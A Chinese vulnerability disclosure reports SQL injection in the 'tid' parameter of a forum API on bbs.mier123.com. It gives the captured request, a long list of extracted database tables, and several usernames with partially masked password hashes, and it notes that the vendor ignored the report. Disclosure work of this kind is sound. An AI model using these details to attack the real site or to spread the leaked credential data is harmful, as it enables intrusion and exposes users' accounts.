2015-06-24： 积极联系厂商并且等待厂商认领中，细节不对外公开 2015-08-08： 厂商已经主动忽略漏洞，细节向公众公开
非要让我数据证明下，和上一个洞窟一样，只不过注入点不同，我觉得没有必要吧，无韵筠？？？
米尔社区处，随便点击一篇文章。。抓包。。
GET /api/2.0.3/viewthread_json.php?tid=1715411&plat=android&proct=mierapp&apiCode=1 HTTP/1.1 Content-Length: 0 Host: bbs.mier123.com Connection: Keep-Alive User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.2; zh-cn; MX4 Build/KOT49H) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Cookie: jc7_sid=91qR9r Cookie2: $Version=1 Accept-Encoding: gzip
tid可注射！ 危害同上俩个洞！
其中的部分表
| `[Table]onlinelist` || `[Table]onlinetime` || `[Table]orders` || `[Table]paymentlog` || `[Table]pk_reply` || `[Table]pk` || `[Table]plugin_promotion` || `[Table]pluginhooks` || `[Table]plugins` || `[Table]pluginvars` || `[Table]polloptions` || `[Table]polls` || `[Table]postlogs` || `[Table]postposition` || `[Table]posts` || `[Table]profilefields` || `[Table]projects` || `[Table]promotions` || `[Table]prompt` || `[Table]promptmsgs` || `[Table]prompttype` || `[Table]purifyhylanda` || `[Table]quick_login` || `[Table]quiz_answer` || `[Table]quiz_cat` || `[Table]quiz_comment` || `[Table]quiz_user_log` || `[Table]quiz` || `[Table]ranks` || `[Table]ratelog` || `[Table]regips` || `[Table]relatedthreads` || `[Table]reportlog` || `[Table]request` || `[Table]rewardlog` || `[Table]rsscaches` || `[Table]searchindex` || `[Table]sessions` || `[Table]settings` || `[Table]sign_in` || `[Table]smilies` || `[Table]spacecaches` || `[Table]stats` || `[Table]statvars` || `[Table]styles` || `[Table]stylevars` || `[Table]tags` || `[Table]tasks` || `[Table]taskvars` || `[Table]templates` || `[Table]threadlogs` || `[Table]threads` || `[Table]threadsmod` || `[Table]threadtags` || `[Table]threadtypes` || `[Table]tradecomments` || `[Table]tradelog` || `[Table]tradeoptionvars` || `[Table]trades` || `[Table]typemodels` || `[Table]typeoptions` || `[Table]typeoptionvars` || `[Table]typevars` || `[Table]uc_admins` || `[Table]uc_applications` || `[Table]uc_badwords` || `[Table]uc_domains` || `[Table]uc_failedlogins` || `[Table]uc_feeds` || `[Table]uc_friends` || `[Table]uc_mailqueue` || `[Table]uc_memberfields` || `[Table]uc_members` || `[Table]uc_mergemembers` || `[Table]uc_newpm` || `[Table]uc_notelist` || `[Table]uc_pms` || `[Table]uc_protectedmembers` || `[Table]uc_settings` || `[Table]uc_sqlcache` || `[Table]uc_tags` || `[Table]uc_vars` || `[Table]uin_black` || `[Table]userapp` || `[Table]usergroups` || `[Table]validating` || `[Table]verify_code` || `[Table]war_log` || `[Table]war_threads` || `[Table]war_user_arms` || `[Table]war_user_hoon` || `[Table]war_user_status` || `[Table]war_user` || `[Table]warnings` || `[Table]words` || `[Table]xreports` || `[Table]xwb_bind_info` || `[Table]xwb_bind_thread` || `[Table]xwb_session` || m_sign_in || pre_common_member_login || pw_log_forums || pw_log_members || pw_log_posts || pw_log_threads |
bbs的论坛密码
1 sdmf**kasd 56137***51fd76c60fbed3a2 米尔007 f1847424********04f3636d4c5fc9b4 米尔 a2fcf4e******28ec8d0bcb19ad0e25 \xc7Řłż 46d6ac1a******93d562cfd10aff4
我自己打的码
未能联系到厂商或者厂商积极拒绝
